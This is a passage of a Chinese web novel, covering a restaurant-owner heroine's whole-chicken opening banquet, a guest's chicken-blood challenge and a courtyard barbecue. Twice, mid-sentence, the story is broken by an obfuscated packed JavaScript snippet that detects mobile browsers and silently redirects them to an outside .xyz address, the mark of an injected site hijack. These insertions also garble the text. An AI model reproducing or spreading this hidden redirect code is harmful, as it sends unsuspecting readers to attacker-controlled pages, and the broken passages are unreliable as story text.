“罗掌柜与我深恩，逢莺自当以义报之。”她低头垂眸，“况是我这样的身份，您不嫌弃便是逢莺的荣幸了。” 她出身秦楼楚馆，虽有才名傍身，多受召侑宴，出入公府豪门，但说到底还是无权无势。 遇上寻常女郎，她还能宽慰自己生活优渥，真对上罗姈这样的世家千金，她总是打心底里觉得低人一头。 逢莺将姿态放得很低，罗姈定定望着她的眼睛，未有半分轻视：“方才你也听到了，我还遭了教坊的嫌呢，不过就算他们来我也不觉得荣幸，银货两讫的事儿，还拜高踩低上了。”想起来罗姈就忍不住发笑。 “你来也是银货两讫。”罗姈摆摆手，不愿提什么报恩不报恩的，三言两语将此事定下。 助人为乐是美德，求回报还算什么美德。 二人心意一通，满心欢喜地去太平坊找假母。 西市太平坊有三曲，北曲倚色卖笑，中曲才情动人，南曲最有脸面，里头聚集着长安城里所有色艺双绝的名妓。她们独居阁楼之上，门前各有规矩，并不是随意可见。 那日若非邹洪吃酒莽撞，在太平坊里逢莺断吃不了这个亏。 因南曲掌事的假母樊妈妈，是个十足的伶俐人。 这不，听闻逢莺带进来一个女郎，樊妈妈立马亲自去迎。 “这位是——” 樊妈妈年逾四十，还依稀看得到盛年时的绝色光景，纵使见了一路美人，罗姈都不由恍惚了一下。 逢莺在旁边正想介绍她的身份，被罗姈轻轻按下：“樊妈妈，在下是百味坊的掌柜，姓罗。” “百味坊……”樊妈妈口中念叨着，却实在想不起来京城里还有这么一家店面。 逢莺补充：“长乐街马上新开的食店，罗掌柜想在十五开业那日请一队乐舞。” 樊妈妈柳眉一挑，红唇轻勾：“这事儿倒新鲜。” 太平坊不是没接过外演，可还没有商贾敢把这种档次的生意做到她们南曲头上来。 她眸光微闪，不无遗憾：“只是可惜，十五那日恰是成王眉寿，世子爷已请了逢莺贺寿，恐怕去不得了。” “成王寿辰？”逢莺颦眉，她怎么不知道呢？ “午时你去燕云楼应召那晌儿，我替你接的。”樊妈妈一脸歉意，“真是赶了巧了，对不住罗掌柜。” 逢莺又问：“那艳君她们得闲……” “都要去。”樊妈妈一锤定音。 罗姈肩头一垮，顿感无力：“缘是不巧，那便算了。” 待人失魂落魄走后，逢莺拉住樊妈妈：“妈妈，成王世子少听琵琶，这次怎么带连我了？” “贵人的心思，我们怎么猜得到。”樊妈妈眼梢一耷，掩住稍纵即逝的精光。 “方才那罗掌柜也是贵人，”怕妈妈错眼，逢莺悄声告知，“她是顾将军的夫人。” “将军夫人？”樊妈妈神色不变，“那也无法子，成王世子已下了帖子，难道要回绝世子爷不成？” 逢莺乖乖噤声。 樊妈妈回到自己的阁楼，敛下思绪，吃了口茶，不紧不慢地打开世子请帖。 上面根本没有逢莺，不过没关系，她自有法子把人塞进去。 至于去给食店开业弹彩？ 开玩笑，又不是燕云楼那样的背景，真去了没得折了姑娘身价。 与此相比，情愿白走一趟王府宴席。 …… 腊月十五，大雪初歇，一切都是万象更新的样子。 舞龙舞狮的队伍从长乐街尾走到长乐街头，鞭炮喧阗，锣鼓齐鸣，在一片热闹欢腾中，百味坊终于重新开业了。 小春站在新店门口支着腰，笑容满面地对乌泱泱的人群大声宣布：“诸位客官，百味食店开张半价酬宾，今日入店享宴者仅需三钱！” 什么？一个人就要三钱银子？ 三钱银子都够在其他店子吃上半本食单了。 有这银子什么吃不起啊，原本围观的群众纷纷色变，甩袖遁走。 从门庭若市到门可罗雀只在一瞬。 可怜招揽一番最后仅有六位食客跟着小春入了门。 掀起暖帘，入目是一条狭长的甬道，两边墙上各挂四只瓷盘装饰。 左手“梅兰竹菊”，右手“鸡鸭鱼肉”，顶灯照耀下，盘上画作栩栩如生，惟妙惟肖。 “好雅致的心思，于食具上作画还是头一次见，有异趣！”一人凑近看，不由赞叹，“这兰花……颇有吴生之风啊。” 小春转过头，笑语盈盈：“大人好眼力，这些画正是出自吴长傲先生之手。” “什么？”众人齐呼，“吴生真迹？” 吴长傲才华惊世，一画千金难求，偶幸观览一次都能作谈资在各路飨宴上显摆半个月了，而这小小食店内竟然随便就挂着八幅。 这帮人这下子饭食也不想了，一个个扒在墙边，似要将瓷盘盯出个洞。 最先辨画的那人又好似发现了不得了的东西，疾步行至尽头：“这儿还有吴生的字。” 众人目光陡转，内廊尽处赫然挂着一副大字，上书—— 「人生何所念，百味一锅出。」 大家又纷纷涌上前去观摩书法，一人言之凿凿：“瞧这一笔飞白，疾风落叶，绝是吴生手笔错不了！” “还用你说，这底下的印盖得真真儿的。我叔伯家就有一副吴生的画，落款跟这一模一样。” 众人七嘴八舌地讨论起来，有机敏之人已拉住小春，悄声问：“这些……店家是从何处购得？抑或是店家识得吴生？可否引荐一二……” 小春看着对方发亮的眼睛，后退一步，掀开右面竹帘：“大人想知，何不入内亲自问我们娘子？” 素指拂过，悬系的铜铃发出一声轻灵的脆响，将激动的六位食客引入室内。 靴履一及内室，众人的心骤然沉静下来。 举目端量，松石绿竹掩映之间，可谓一步一景，行走此间，仿佛于闹市中闯入隐秘的世外桃源，脱去俗韵，涤荡神魄。 大堂之中，错落摆着五条矮几，几上供着怒放的水仙，由炭火烘得满屋浓香。 几下摆着蒲团，颇有一念修性，坐而论道的意思。 而矮几正对面竟是一个开放观览的厨房，靠着北墙，案面灶台全都一览无余。 脱去金银，斫雕为朴，却又独有质韵。 这哪里是食店，分明是雅苑。 众人一时为新奇所摄，停下脚步，小春从旁引导才得以坐下。 大家依言跽坐于蒲团之上，有人玩笑：“店家这是要我们拾古仪啊。” 还真是，坐在这蒲团上比坐在凳子上，脊背不自觉板正多了。 六个人占了三张桌子，其中一人拿起桌上摆着的木牌，不禁皱眉：“不可与鸡知？” 大家纷纷看向自己那张，也都写得一样。 在座都是饱学之士，却对这谜面百思不得其解。 就在此时，罗姈终于登场。 看见食客们，她却失落起来。非是嫌人少，而是…… “诸位今日前来捧场，罗姈感激不尽。” “罗掌柜说得哪里话，断了这口饭，大家都念得紧呢。” 是了，这六位食客不是别人，都是原来青龙大街的熟客。凡今日得闲的，都被易礼薅了来。 也就是说，今日开业没有一位新客光顾。 “哎，罗掌柜，你那门口摆的吴生的画，何处可购？介绍一下啊！”还有人惦念着吴长傲的大作。 同桌捅了捅他的胳膊：“呆子！看那字还瞧不出么，分明是罗掌柜同人家有私谊，你就甭打听了，人画圣岂会搭理你。” 罗姈望向就坐在一旁的易礼，神秘一笑：“这个嘛……确实不便告知，不过大家以后还能经常在小店看到吴生的新作。” 易礼清咳两下，快速揭过话题：“罗掌柜，今日有什么好菜啊？” “鸡。” “没了？” “没了。” 罗姈示意大家看向桌上木牌：“不日前我想起一首幼年读过的诗，诗文曰：‘养鸡纵鸡食，鸡肥乃烹之。主人计固佳，不可与鸡知[1]。’我今日这席面主题，亦是‘不可与鸡知’。” 说得大家愈发好奇了，仰头等着罗姈下文。 “开业心选宴，诸位可各选鸡的一部分，我将其烹制成肴，无论多少种，百味坊保证绝不重样。凡是重了，或我无能，银子皆退。” 马上有人反应—— “我要鸡腿！” “我要鸡翅！” …… 罗姈手向下压：“一个一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464425|185458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来，只有两口灶，先做这两道。” 这些都是意料之中的，小春将准备好的食材摆出来，罗姈起锅生火，准备就在食客们的眼前大展身手。 她早就想好了，鸡腿做白切，鸡翅红烧做煲。 小春又转身去后厨端出一锅鸡汤，架在左边灶台。 罗姈瞧了瞧火候，当即浇了一碗米酒提鲜，厚厚油封被破开一个小口，香气趁这机会窜逃出去，在食客们的鼻尖跑了个来回。 “好香！”易礼忍不住多吸两口。 “诶你别抢我的呀。”旁边人急了，探头猛嗅。 光是闻味儿，大家就馋得不行。 罗姈掩唇而笑：“这汤还要炖上一刻，稍安勿躁。” 说罢转头准备鸡翅煲，秋油三匙，黄酒一匙，再加入一大匙她自制的菽酱搅和开，那边小春亦将玉米、香蕈、胡萝卜切好。 过水后，在锅内放一点底油，将鸡翅煸至两面金黄，加入葱姜同炒，再放入秘制料汁翻炒均匀，待到酱香浓郁后，放入配菜，最后用滚水没过食材焖煮之。 这厢腾过手，罗姈转身处理白切鸡。 盛出一半鸡汤，小春马上投入昨夜冻好的冰，罗姈刚将三只鸡放下去浸泡，马上有食客高声道：“罗掌柜，这是什么说法？给我们喝冷鸡汤？” 罗姈耐心解释：“不是鸡汤，是白切鸡。” “白切鸡？”大家都没听过这样的做法。 易礼：“等着吃就是了，罗掌柜什么时候让我们失望过。” 都是老熟客了，众人深以为然，个个乖乖坐着，抻长了脖子往灶上瞧。 时辰到了，罗姈最后给鸡做了组“精油按摩”，随后将鸡腿斩下，三只鸡，六个腿，刚好一人一只。 小春取出精心准备的食具，硕大的白瓷盘上，胡乱涂了几笔颜色，刚好像极了公鸡靓丽的尾羽。 “这……” 看见血红的骨头，有人还在犹疑，易礼已经毫不犹豫地咬下一大口。 鸡皮脆爽，鸡肉鲜嫩，皮爽肉滑。皮肉之间还有一层晶莹的肉冻，保有鸡最纯真的原汁本味，鲜美异常，让人不由击节。 这简直是他们这辈子吃过最好吃最鲜美的鸡！ 小春又端来一份蘸料，取之食用，又是别样风味。 几块下去，人手一只孤零零的骨头架子，眼巴巴地望着罗姈——手里的鸡子。 易礼代表众人发言：“罗娘子，再切点儿吧。” “今日白切只有鸡腿，若是都切了，后头的鸡子滋味便享不到了。” 当然还要吊着他们的胃口，若是今日给他们吃美了吃腻了，后头拿什么再诱人来。 灶上的鸡翅煲也差不多了，收净汤汁，撒上香葱、芝麻，罗姈分盛出六小碗，亲自端过去。 很快又是一圈风卷残云，有人将鸡骨嗦了又嗦，最后才看见碗底图案，又是寥寥数笔，就勾勒出一个似鸡冠似红云的的写意画。 若说菜肴的品质是美味的基础，那么辉映协调的器皿则更添一份味外之美。 要是能再辅以雅乐，营造出相得益彰的氛围，便能让食客彻底沉浸其中，无法忘怀。 可惜了……罗姈不由遗憾。 新一轮点菜，易礼还是忘不了白切鸡的美味，他露出一个狡猾的笑：“罗掌柜，我要吃鸡身子。” 他心想，那白切鸡剩的身肉那么多，这下总能得手了吧。 罗姈看透了他的心思，粲然一笑：“刚好，我还煲了一锅鸡汤，就是用的鸡身子。” “许博士，您呢？” 虽然之前教坊的事许博士最终没能牵上线，不过这并没有影响到他与罗姈的关系，所以他也来捧场了。 许博士腼腆笑笑：“鸡爪可以吗？” 其他人惊异地看着他，只有罗姈神色如常，还赞道：“您很会吃呢。” 他入仕前家境贫寒，吃不起肉，只有拣人家不要的蹄子、爪子啃，那时候觉得特别美味，现在想吃都吃不到了，他想罗娘子定能做得出来。 然而就在此时，坊外响起敲门声，罗姈的心也跟着颤了一下，难道说……终于来了新客？ 小春忙赶了去，不一会儿，铜铃轻摇，小春探头：“娘子，不是客人。” 失落再度从罗姈心头划过。 小春侧身礼让，隔着朦胧的竹帘，露出一角青纱：“是逢莺娘子。” 10. 全鸡宴（中） “逢莺？”罗姈起身去迎，“你不是去了……？” 逢莺温柔如水：“那边结束得早，我便来了。” 实际上，她是辞了后半场的交际偷偷来的。 “罗娘子放心，吾虽一人，亦当堪用。”逢莺自信一笑。 什么都不必再说，罗姈握住她的手：“多谢。” 信手轻拨，弦音如玉，逢莺面向店中客人微微一屈：“逢莺来迟，诸君莫怪。” “怎会，”易礼忙道，“得见逢莺娘子一面，易某之幸也。” 客人中不乏仰慕者，大家四目相对，难掩喜色。 目光追随着淑女的婀娜身姿，直到香扆阻拦了视线。 逢莺在屏后坐定，撩动四弦，婉转的小调便倾泻而出…… 趁着食客们冥神陶醉的功夫，罗姈抓紧忙活起来。 参鸡汤是早就炖好的，用清冽可口的山泉水老火慢煨整整三个时辰，鸡肚塞得圆滚滚，里头包着满满的甜糯江米、胖乎乎的红枣，还有人参，当归、黄芪、银杏果等若干药材。 食客们捧着天青如玉的瓷碗，乐音拂过，澄亮的汤面上拨开圈圈涟漪，热气散溢间，鲜香的气息织成一张巨大的网，兜住食客们沉湎的梦。 呷一口热汤入喉，带着微微甘甜和人参当归独有的药香，一口就滋补到心底。 再挑一块透亮的皮包肉，粘着晶莹的江米，放入口中慢慢咀嚼，什么血虚气虚，食少羸弱，荡然无存。 就在这舒缓的时刻，所有人都沉醉在唯美的琵琶乐音中，蓦地“刺啦”一声打破平静。 灶台那头，罗姈复投下一批鸡爪入油锅，水汽在锅中调皮迸溅，锅盖都被顶得慌乱。 逢莺顺势将柔婉变为嘈切，琵琶声声激荡，如珠玉洒落银盘，与油锅交相呼应，巧妙地共谱一曲。 油锅嘈嘈，琵琶切切，原本风马牛不相及的两物，在这桃源之中竟也出奇地和谐。 停止炸锅后，罗姈将金红色的鸡爪捞出，另起一锅水，煮出皱皮，再将调制的咸豉酱摇推勾芡。 轻拢慢捻，这样推出来的芡不厚不薄，浓淡适宜。 最后将压好的花生铺底，摆上鸡爪，点缀少许咸豉蒸上一刻，一道豉汁鸡爪就做好了。 不仅没有想象中的粗鄙，还十分悦目，浓郁润泽的酱色令人胃口大开，这回大家都不观望了，和许博士一样迅速塞入口中。 经过层层工序，鸡爪早已软烂脱骨，一抿就化，胶质在口中溢出浓郁的咸香。 尤其是那掌心肉，连着筋，软糯可口又有嚼头，回味无穷。 然不觉满足，于是又去吮那“纤纤玉指”上吹弹可破的肌肤，但就那一丝皮肉，偏与人捉迷藏，令人恼火，却又暧昧得趣。 可如此美味，教人实在无法心生怨怼。 许博士更是吃得眼眶含泪。 经年流转，记忆搁浅后的今日方知，从前辛苦求学时拼命咽下的，原来根本不是什么美味佳肴…… 旧色入喉方知苦，更惜今朝馔饮香。 四道菜后，众人已完全折服于罗姈的庖技，只余最后一桌尚未开口。 可是鸡翅鸡腿，鸡身鸡爪他们都尝遍了，还有什么没吃呢？ 大家脑海中想着鸡的模样，似乎……只剩下鸡头鸡屁股了。 可是这玩意儿，罗娘子能做他们也不愿吃啊！ 这时易礼脑袋一转，一拍大腿：“还有鸡蛋啊！” 剩的那个圆脸客人立马应声：“对对对，我选鸡蛋。”他眼睛骨碌一转，“我要吃从未尝过的做法，水煮油煎都不新鲜了，罗娘子可不能敷衍我。” 罗姈自信道：“没问题，绝对闻所未闻，三种够不够？时间若足，我可以做十八种。” 看着众人热切期盼的眼神，罗姈微微一笑：“剩下十五种就等着日后诸位大驾光临了。” 最后一桌的方脸客人显然也想到了什么，他眯了眯眼，有意刁难：“我选鸡腑脏。” 其余食客们一脸惊惶，然而罗姈的眼睛却一下子就亮了，老天爷，她终于等到爱吃下水的客人了！ 大周富庶，农业发达，平民百姓也能吃得上肉。只有极贫苦的人家才会去捡下水，他们买不起香料，烹制出来不过是为了饱腹，几乎难以下咽。 买得起香料的人不会去吃，会吃的人没有条件去做，相关的食方自然寥寥无几。 六位食客中恐怕仅有许博士吃过，可他都不点，显然是嫌恶极了。 可这些都是绝世美味啊，若是不能让大家尝到，她简直要抱憾终身，而今她终于找到知音了！ 罗姈几乎按捺不住笑意：“鸡腑脏是吧，绝不让您失望！” 这下子，不仅其余食客愕然，连方脸自己都呆住了，想叫住罗姈反悔，人已经兴冲冲地去后厨备料了。 一刻后，众人只见火舌在锅中猛地蹿起，罗姈拎着大锅来回颠动，姿态从容优雅，场面比瓦肆里的杂手艺还要火热。 惹得众人惊诧连连，忍不住拍手叫好。 只是不消一会儿，随着罗姈几手佐料投洒，空气中便弥漫起一股呛人的味道，小春忙架起窗杆。 无人注意的角落，锅气顺着窗隙疯逃，乐音也随之提裙私奔远去。 等罗姈将罪魁祸首爆炒鸡杂端上来，大家是既期待又不安。 仅观其表，确实是令人食欲大开，可只要一想到这些全是污秽腑脏，突然又难以下咽。 秉持着对罗姈的信任，易礼大着胆子夹了一块，两眼一闭，放进口中囫囵几下就吞了，无脑褒扬：“好吃！” 除了许博士相继动筷，其他人你看看我，我看看你，就是不动。 吃完第一口，许博士一句话也没说，吃了口茶，竟又将筷子伸进盘中。 闷头吃着，不发一语，就是额间隐隐浮出一层汗水。 大家看许博士吃得津津有味，最终，还是好奇克服了恐惧，逐渐有人尝试，末了仅剩点菜的方脸一人未动。 不行，还是接受不了。 但罗姈殷切的眼神，并着其余食客审视的目光，让他如坐针毡。 最后把心一横，方脸东捡西挑，选了貌似尚能入口的鸡胗，眉头紧锁，如临大敌。 初触唇舌，茱萸油的热辣就给他打了一激灵，刚想吐出来，却有些舍不得，莫名其妙的驱使下，竟忍不住细品。 既无想象中腥臭，也无奇怪口感，咬着嘎吱嘎吱的，还十分脆弹，可以说是香辣过瘾。 又夹一著看着最奇怪的，说是鸡肝，入口粉粉面面，像吃了口雨后山涧细泥，但越吃越有味儿。 配合着里头水灵灵的腌萝卜，酸辣脆爽，越吃越想。 其他部位他也一一尝试，各个鲜嫩绝伦，很快一扫而光，唇齿留香。 他服了，他彻底服了，对罗姈拱手作揖：“娘子好手艺，这些肺腑经由您的巧手竟比肉还香，在下五体投地。从前我只觉着辣炒鸡是鸡单魁首，用了您这个……” “爆炒鸡杂。”罗姈提醒。 “对，爆炒鸡杂，那辣炒鸡算什么，就是给我龙肝凤髓也不换！” 罗姈笑眯眯：“大人谬赞，您要是喜欢，日后再来。” “一定！一定！” 圆脸客人坐不住了：“罗娘子，我的鸡蛋呢？ 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众人纷纷附和，央着罗姈让他们带几个回家。 此时小春呈上最后一窝鸡蛋，罗姈一掀嘴唇：“鸡蛋三吃——鬼蛋！” 以为自己耳朵出问题了，易礼问：“什么蛋？” “鬼、蛋。”罗姈憋着坏笑。 看着平平无奇，就是切开来的普通鸡蛋嘛，怎么起这么诡异的名字。 “敢尝吗？”罗姈挑衅道。 “有何不敢？不就是鸡蛋吗？还真能是鬼生的？”易礼给自己鼓气，毫不犹豫就吞下一整块。 “嘶——”他的五官堆积，飞速皱成一张揉乱的纸，“好辣好辣！” “蛋黄里头混了芥菜籽，你要是一口少吃些，不会这么冲的。”罗姈自己捻了一块，小口吃给大家看。 方脸爱辣，他学着罗姈只咬下一个尖儿，唔……辣得猖狂，甚得他心。 其余人则摸着肚子表示吃饱了，敬谢不敏。 由此，今日的心选宴就已接近尾声，虽无繁弦急管，但效果倒也足以慰心。 在渐缓的琵琶声中，小春给每位食客递上拭手巾和剔牙签子。 就在此时，铜铃声乍然响起，一位身着深青官袍的玉面郎君径自掀开竹帘，阔步入室。 此人面生，罗姈纳闷：“大人您来……？” “得闻清曲，踅足而来，这儿不是食店么，自然是用饭。”说罢，眼神微微上挑，毫不客气地打量罗姈。 易礼哈哈大笑：“章明达你可是来晚啦。” 许博士也起身与他见礼。 易礼告诉罗姈：“来，我介绍一下，章明达章大人，现管着酒务司呢，也是个饕客，罗娘子可得好生招待。” 罗姈从易礼的眼神中读出此人身份并不简单。 易礼也向章明达大肆夸赞了一番百味坊，引他落座。 本近尾声的琵琶重新激越起来，章明达环顾一圈，颔首：“是个雅地。” 他把玩着桌上的木牌，漫不经心：“方才易礼兄说了那么多，说来说去吃的都还是寻常货色，掌柜的莫不是吹法螺吧？” “客官您想吃什么呢？”罗姈保持微笑。 章明达状似苦恼：“这鸡子上下我也是吃遍了，肺腑什么的都不新鲜，唯有一处……” 罗姈静待下文。 章明达左眉一挑，直直看她：“不知鸡血，罗娘子可做得？” 罗姈神色不变：“当然。” 11. 全鸡宴（下） “这血如何吃得？” “茹毛饮血，岂非人哉？” 食客们顿时炸了锅了，比起腑脏，更是无人吃血，这能吃吗？ 其实在一些不那么繁华的州县，已有百姓发觉牲畜之血可以食用，像罗姈老家黄州以西就很流行羊血所制的血粉羹，而临江升州则食鸭血更多。 只有长安京畿一带的富贵乡还未知血之美味。 不过不要紧，今天他们就知道了。 罗姈自信满满地端了两大碗鸡血回来，众人退避三舍，而章明达浑似一副看好戏的样子，懒懒散散倚在桌边。 罗姈起手备料，许博士一脸难言：“罗娘子，要不算了吧，这鸡血煞气太重，不好入食的啊。” “许博士您放心，我既应了自是有法子，包是美味不假。”罗姈整整齐齐码了七个大碗，看架势是要所有人都尝一尝不可。 见劝不动罗姈，许博士挠挠头，转了向：“章大人您松松口，营生不易，何必为难店家？” 章明达好整以暇，扭头问易礼：“我为难人了吗？” 易礼忍不住翻了个白眼，瞧罗姈那干劲十足的样子，怎么都瞧不出半分为难，倒是连带他们这些看热闹的，为难极了。 易礼拍拍许博士的肩头：“且看吧，说不定罗娘子会变戏法呢。” 时辰到了，罗姈将凝固的鸡血倒扣出来，切成细细的长条，然后浸入水中。 “哎？这血……” 方才还是两碗赤红的鲜血，怎么一会儿功夫竟结成块儿了。 易礼乐了：“我就说说而已，罗娘子你还真会变戏法啊？” 罗姈也不藏私：“盐能凝血，生血自是不能吃了，但是做成血块，既可炒之也可煮之，鲜嫩得紧，你们就瞧好吧。” 说着罗姈就烫了一把粉条下去，汤锅里激起一簇簇浪花，变得晶莹后捞起过凉，目的是保有粉条的爽滑劲道。 在海碗中再放入提鲜的盐，调味的秋油，洁白的蒜泥与点睛的葱花。再将众人原先馋而不得的剩鸡肉撕成鸡丝，和烫好的鸡血粉条齐刷刷码上。最后浇上滚烫的鲜鸡汤，一碗鸡血粉羹便大功告成。 “能吃辣的可以添些茱萸辣子，味道更好。”罗姈从旁提点。 别说，看着还真是很有食欲。这跟他们想象中茹毛饮血的样子，差别可太大了。 鲜香的那个热乎劲儿尤为勾人，原本已觉饱胀的众人突然又有些饿了。 有了先前食脏器的经验，这次大家的接受度提高不少，几乎只是犹豫片刻，便禁不住诱惑举起了筷子。 然而谁都没有章明达快，他足足放了三大勺辣子，搅和搅和就吸溜起来。 原本大家都吃得很斯文，但那不绝于耳的吸溜声实在是太难忍了，不知不觉就加快了频率，最后演变成吸溜大合奏。 不过不得不说，这样食粉真是痛快！ 一筷子下去，鸡血与粉条不分彼此，口中既有嫩滑又有劲道，滋味丰富极了！ 未曾想腥煞的鸡血也能炮制出如此佳肴，罗娘子真是神了！ 再喝一口汤，又鲜又辣，鼻尖都浮起一层薄汗。 更不必说那老汤慢煨的鸡肉，是嵌在牙缝里都舍不得剔掉的荤香。 然而吃着吃着大家发现，随着汤水下沉，碗壁上露出浅浅金光。 欲探究竟，有人一饮到底。 当红汤流尽，一只独脚雄鸡于盛大的朝阳前啼鸣报晓，可谓震撼。 然如此意境之作，竟于汤碗上得见，这碗鸡血粉羹价值瞬间不可估量。 既能食得美味，又能陶冶情操，大雅也。 吃着吃着就有人忍不住赋诗一首，在铮铮琵琶声中描摹自己的豪情万丈。 一人做了鸡血诗，就有人不甘被比下去，马上回敬一首鸡杂词，誓要为自己心爱的佳肴夺得魁首。 一时之间，竟分不清是在书斋还是在饭堂了。 见他们吵得热闹，罗姈笑吟吟给他们续了茶，润润喉继续战斗。 章明达若有所思，深深看了眼罗姈，大手一挥：“再来一碗！” 这下是真的圆滚肚溜，大家几乎维持不住仪态。 只有一人还嫌不过瘾，可能吃的都被吃完了，章明达便去旁边买了张馍，掰碎了沾辣汤吃。 罗姈也给章明达添了一杯新茶，章明达突然放下筷子，正经坐好：“罗娘子这样的手艺，可愿到我家当私厨？酬金你开口。” “这……” 罗姈属实没想到自己这么快就招来了大金主。 只是她却不是正经厨娘，不会一辈子只围着灶台打转。 她还在想托词，章明达自己又反了口：“算了，观娘子之能，必不会拘于一府一院，是在下唐突了。” 趁此隙，罗姈干脆宣布了百味坊日后的营业方式。 此后每一旬日更新一次心选宴主题，也就是换食单子。 而且仅做午食，申时闭店。 众人听罢，纷纷表示今日之记忆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16479514|185458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此生难忘，犹是期待新鲜饮食，一定常来。 已是日跌，食客们陆续告辞，最后仅剩易礼、章明达、逢莺三人。 直到逢莺怀抱琵琶款款而出，章明达才慢腾腾站起来。 逢莺抿唇一笑：“恭贺娘子，开业大吉。” “还要多谢你，为我招徕客人。”罗姈牵着她的手，“哪日有空再来，不作曲子，我要好好招待你。” 二人似亲姐妹一般热热闹闹地说着告别话。 章明达负手其后，百无聊赖地用足尖点着方才的乐曲节拍。 待到她们说完了话，逢莺提裙起步，他才不慌不忙跟着走了。 易礼眼看着出言嘲笑：“章明达啊章明达，你也有今天。” 罗姈也瞧出章大人与逢莺关系不一般，忍不住好奇扯闲：“章大人他倾心于逢莺？” 易礼眨了眨眼：“何止，他还求娶过人家呢。” “这小子可是坊肆里的常客，一贯的风流，遇上逢莺娘子，一朝竟敛了性。”易礼感叹道，“却是襄王有意，神女无梦。” “若是能看对眼，倒也不失一段佳话。”罗姈点点头。 易礼不禁赞许：“说起来，逢莺娘子确有气节。别看章明达他只是个六品酒丞，但他的家世可不凡，寻常女郎上赶着都来不及，别说往外推了。” 姓章…… 这么一说罗姈反应过来了：“该不会是……？” 易礼示意正如罗姈猜测：“章三司家的二郎。” 计相章仕春，当朝宰执，管理三司，权利地位仅次于她阿爹罗正松。 闲侃着呢，易礼眉头一皱：“欸，话说回来，今日怎么不见顾承禾啊？” 罗姈一怔，若非他提醒，她都要把她那便宜相公给忘了。 “你的新店开张，他居然都不来捧场？” “他忙得很，今日怕是不得闲。”这倒不是假话，今日天不亮顾承禾就走了，似乎是宫中急召。 “你可别维护他，这厮没心肝，浑不记事，当骂！等他来了，我替你骂！”易礼的情绪比罗姈还激动。 她可没对顾承禾有什么期待，假夫妻罢了，他要真来了，她倒还不知所措。 她倒是给她阿爹阿娘专门下了帖子，不出所料，她阿爹绝不会来，他不来，阿娘也不会来。 “诶，你看——”易礼突然指着窗外，“说曹操曹操到。” 罗姈向外眺望，还真有一个高大的玄衣郎君驾着骏马，疾驰而来。 12. 围炉烧烤 然所来之人，非是顾承禾，而是顾钊，他奉顾承禾之命，来送开业贺礼。 难为他百忙之中还抽空记着，罗姈只好记下这份情。 冬日昼短，才申时三刻，赤红如血的晚霞便散布天际。 入夜起风，罗姈与小春束紧风帽，裹好袄子，顺着青墙小路抄近道回了将军府。 忙活一天，小春饿得饥肠辘辘，怏怏问：“娘子，咱们暮食吃什么呀？” 罗姈想了想：“炙肉如何？就在院子里炙。” “院子里？”小春惊道，“这天都黑了。” 刚入夜黑得还不算彻底，借着阶前的光还能看清吞吐的寒气。 “就是要天黑炙肉，你想想，把那火架子一架，在外面一边烤火一边吃肉，又暖和又方便，烟子还不呛人，万事皆宜。”罗姈一边搓着手心一边道。 围炉炙肉，光是想想涎水都要淌出来了。 主仆二人都是行动派，不一会儿就准备好了食材与配料，就是这炉子是个实心的，在厨房里搬不出来。 无奈小春寻了院内的小厮阿山、阿海挪了个碳炉过来。 “劳驾二位，受累搬到院儿里。” 二人连道不敢，并忍不住问：“小春姐姐，夫人这是要做什么呀？” 罗姈端着肉从台阶上下来，朗声相邀：“炙肉吃，你们也一起来吧。” 兄弟二人急忙放下碳炉，还差点儿砸了脚，连连摆手：“这怎么能行。” “我晓得你们的规矩，过酉不食嘛，这不还没过，不妨事。”罗姈笑着招呼，夜中眼眸如碎星。 两人忙不迭后退：“谢主子体恤，我们已用过定例了。” 推脱完一夹尾巴就跑了。 唉……罗姈与小春对视一眼，没口福也是没法子。 她们搬来椅子坐下，径自穿着自己想吃的串儿。 小春贪嘴，将红柳木枝塞了个满满当当，罗姈失笑，敲了她一下：“挤成这样，小心里头烤不熟。” “喔……”小春恋恋不舍地取下两块豚肉，“不过娘子，怎么暮食的肉切这么大啊，比午食要大许多呢。” “咱们自己人吃当然是量大管饱啦。”罗姈理所当然道，给自己串了两块最好吃的护心肉。 炭火已烧得很旺，将豚肉串架上去，刷上茱萸辣油，火舌一舔就滋啦滋啦作响。 油边脂肥，旺火烧得滴油，全落在碳上，风烟一起，香味窜得老高。 眼见着粉白的肉逐渐变成焦褐色，罗姈就着热气直直咬下一块来，油脂在口中爆发，和精肉并在一起，又弹又嫩，肉质紧实，汁水爆满。即使没有撒料粉，提前腌过的原味也不逊色。 就是这个小烧烤，爽! 小春也一连用了好几串，拿新串时突然看见水缸后头人影攒动，警觉道：“谁？” 罗姈循声望去，半黑的夜里，水缸后头一下子滚出来四个人。 “哎呦！” 也不知是谁踩了谁一脚，四个人七零八落摔成一团，慌忙爬起来给罗姈见礼。 他们四个是顾承禾专门安排的下人，很有眼力见，平日在这院里几乎没什么存在感。 “你们……在干嘛？”罗姈举着串，边吃边问。 四个人你看看我，我看看你，阿山捅了下阿海，阿海杵了杵阿莲，阿莲又去戳阿香，最后阿香站了出来，尴尬笑了两声：“嗯……我们怕夫人用膳渴了，来送茶水。” “茶水呢？” 然而是两手空空。 罗姈了然一笑：“傻站着做什么，忘在路上就去取啊。” 四只好奇心重的“小老鼠”互相推攘着飞速逃走。 “娘子我再去多切些肉来？”小春看向四人慌张的背影，眉眼含笑，放下盘子。 罗姈嘱咐：“多切些，还有厨房里的年糕、香蕈，都一并拿来吧。” 